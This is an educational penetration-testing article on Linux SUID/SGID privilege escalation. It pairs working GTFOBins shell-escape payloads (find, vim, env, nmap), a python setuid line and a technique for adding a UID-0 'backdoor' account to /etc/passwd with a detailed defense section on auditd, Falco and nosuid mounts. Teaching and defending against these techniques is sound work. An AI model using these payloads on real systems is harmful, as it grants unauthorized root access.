Introduction / Overview
Disclaimer: This article is written for education and authorized penetration testing only. Run these techniques solely on systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
One of the most reliable Linux privilege-escalation primitives is the misconfigured set-uid (SUID) or set-gid (SGID) binary. When a file carries the SUID bit, it executes with the privileges of its owner rather than the calling user. If that owner is root and the binary can be coerced into running arbitrary commands, file reads, or writes, an unprivileged user gets a straightforward path to uid=0.
In this article you'll learn how the SUID/SGID mechanism works at the kernel level, how to enumerate dangerous binaries with find -perm -4000, how to weaponize them using GTFOBins payloads to pop a suid shell, and—just as importantly—how defenders detect and shut this down.
How It Works / Background
Every Linux process has both a real UID (who launched it) and an effective UID (whose permissions it acts with). The effective UID is what the kernel checks for access decisions. Normally both are equal. When a binary has the SUID bit set, on execve() the kernel sets the effective UID to the file owner's UID.
You can see the bit in the mode string as an s where the owner's execute bit would be:
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 59976 ... /usr/bin/passwd
# ^ the 's' here = SUID, runs as root
SGID works the same way for the group, shown as s in the group triad (-rwxr-sr-x). On directories, SGID instead forces new files to inherit the directory's group—a different behavior worth keeping in mind during enumeration.
The numeric permission encoding uses a fourth, high-order octal digit: 4000 = SUID, 2000 = SGID, 1000 = sticky bit. That is why we hunt with -perm -4000.
The danger is not the bit itself—passwd, sudo, and ping legitimately need it. The danger is a SUID binary that lets you escape into a shell, read /etc/shadow, or write to a root-owned file. Many standard utilities (find, vim, nmap, cp, tar, env) become root-equivalent when wrongly given the SUID bit, and GTFOBins catalogs exactly which arguments achieve that.
Prerequisites / Lab Setup
You need a low-privilege shell on a target VM (a deliberately vulnerable box such as a custom Ubuntu image works well). Create the lab condition by misconfiguring a common binary as root:
# Run as root once, to simulate the misconfiguration
cp /usr/bin/find /usr/local/bin/find-bak
chmod 4755 /usr/local/bin/find-bak
Now drop back to a normal user and assume you only have www-data or a similar account.
Attack Walkthrough / PoC
Step 1 — Enumerate SUID binaries
The canonical command searches the whole filesystem for files with the SUID bit, discarding permission-denied noise:
find / -perm -4000 -type f 2>/dev/null
To catch SGID as well, broaden the match:
# SUID or SGID
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
# More precise: both bits together would be -6000
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null
Add -ls to print owners and sizes so you can spot non-standard entries quickly:
find / -perm -4000 -type f -ls 2>/dev/null
Automated enumerators do the same thing and flag known-exploitable names: linpeas.sh highlights interesting SUID files in red/yellow, and sudo -l is always worth pairing with this check.
Step 2 — Triage against GTFOBins
Cross-reference every unexpected result against GTFOBins. Suppose enumeration returns /usr/local/bin/find-bak. GTFOBins lists a SUID payload for find:
/usr/local/bin/find-bak . -exec /bin/sh -p \; -quit
The -exec runs a shell, and the crucial -p flag on /bin/sh tells it not to drop the elevated effective UID—without -p, bash/dash often resets euid back to your real UID. Result:
$ /usr/local/bin/find-bak . -exec /bin/sh -p \; -quit
# id
uid=33(www-data) gid=33(www-data) euid=0(root) ...
You now have a root-effective suid shell. To make it a fully privileged shell rather than just euid=0, you can elevate cleanly:
# inside the euid=0 shell
# python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Step 3 — Other common SUID payloads
Different binaries, same idea. A few real GTFOBins entries:
# nmap (old interactive mode, <= 5.21)
nmap --interactive
nmap> !sh
# vim / view
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-pc","reset; exec sh")'
# env
env /bin/sh -p
# cp — overwrite a root-owned file or read /etc/shadow indirectly
# (use to clobber /etc/passwd with a crafted root entry)
If a binary only allows file reads (e.g. a SUID cat, less, or head), you don't get a shell directly, but you can read /etc/shadow, crack the root hash offline, and su. If it allows writes, the classic move is appending a UID-0 entry to /etc/passwd:
# password "hacker" -> openssl hash
openssl passwd hacker # e.g. 6AnG0Vk5OvKXk
# append via a write-capable SUID binary, then:
su -l backdoor # the new uid=0 account
Step 4 — Shared-library and PATH variants
A SUID binary that calls system("service ...") or invokes a helper without an absolute path can be hijacked via $PATH. If strings on the binary reveals a relative command call, plant a malicious executable earlier in $PATH. Similarly, a SUID binary linked against a writable directory may be exploited through LD_PRELOAD—though note the dynamic linker ignores LD_PRELOAD/LD_LIBRARY_PATH for SUID binaries unless sudo policy (env_keep) re-enables them, a common real-world misconfiguration.
Mermaid Diagram

The diagram shows the path from a low-privilege shell through SUID enumeration and GTFOBins triage to a root shell via shell-spawn, file-read, or file-write primitives.
Detection & Defense (Blue Team)
SUID abuse maps to MITRE ATT&CK T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid). Defend in layers:
1. Baseline and audit the SUID/SGID inventory. Generate a known-good list and diff it on a schedule:
find / -xdev \( -perm -4000 -o -perm -2000 \) -type f -printf '%m %u %p\n' 2>/dev/null \
| sort > /var/lib/suid-baseline.txt
# later: diff against the baseline and alert on additions
Any SUID binary that isn't on a vetted list (passwd, sudo, mount, su, ping, chsh, newgrp, etc.) is suspect. Tools like pspy, AIDE, or Tripwire will flag the file-mode change.
2. Strip the bit from anything that doesn't need it. chmod u-s /path/to/binary. Most interactive interpreters (vim, find, nmap, python) should never be SUID.
3. Monitor at runtime. A Linux auditd rule catches new SUID files and execution of privileged binaries:
# Alert when any file gains the setuid/setgid bit
auditctl -a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -F a1&06000 -k suid_change
Pair this with EDR/Falco rules such as Falco's built-in "Non sudo setuid" and "Setuid or Setgid bit is set via chmod" rules.
4. Reduce the attack surface. Mount non-system partitions (/tmp, /home, removable media) with the nosuid option in /etc/fstab so SUID bits there are ignored entirely. Combine with noexec where feasible.
5. Harden sudo env handling. Remove env_keep += LD_PRELOAD / LD_LIBRARY_PATH from sudoers and keep sudo patched (e.g. against Baron Samedit, CVE-2021-3156, and the chroot flaw CVE-2025-32463).
6. Mandatory Access Control. SELinux or AppArmor profiles confine even a root-effective process, so a popped /bin/sh -p can't freely read /etc/shadow or modify /etc/passwd.
For deeper coverage of adjacent vectors, see my Linux sudo misconfiguration guide, Linux capabilities abuse, and writable cron jobs and PATH hijacking.
Conclusion
SUID/SGID misconfiguration remains a top-tier Linux privilege-escalation route precisely because it's so easy to introduce by accident—one careless chmod 4755 on a flexible binary hands out root. Offensively, the workflow is mechanical: enumerate with find -perm -4000, triage against GTFOBins, and spawn a suid shell with -p. Defensively, the controls are equally concrete: baseline the inventory, strip unneeded bits, mount with nosuid, and watch chmod syscalls with auditd or Falco. Treat every SUID binary as a privileged trust boundary, and the technique loses most of its power.
References
- MITRE ATT&CK — T1548.001 Setuid and Setgid: https://attack.mitre.org/techniques/T1548/001/
- GTFOBins: https://gtfobins.github.io/
- HackTricks — Linux Privilege Escalation (SUID/SGID): https://book.hacktricks.xyz/linux-hardening/privilege-escalation
- man pages:
find(1),chmod(1),execve(2),credentials(7) - Falco rules reference: https://falco.org/docs/rules/
- CVE-2021-3156 (Baron Samedit): https://nvd.nist.gov/vuln/detail/CVE-2021-3156
- CVE-2025-32463 (sudo chroot): https://nvd.nist.gov/vuln/detail/CVE-2025-32463



Comments